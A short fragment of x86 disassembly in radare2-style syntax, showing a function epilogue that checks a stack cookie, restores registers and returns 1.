mov ecx, dword [esp + 0x10ac]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0043180d
mov esp, ebp
pop ebp
ret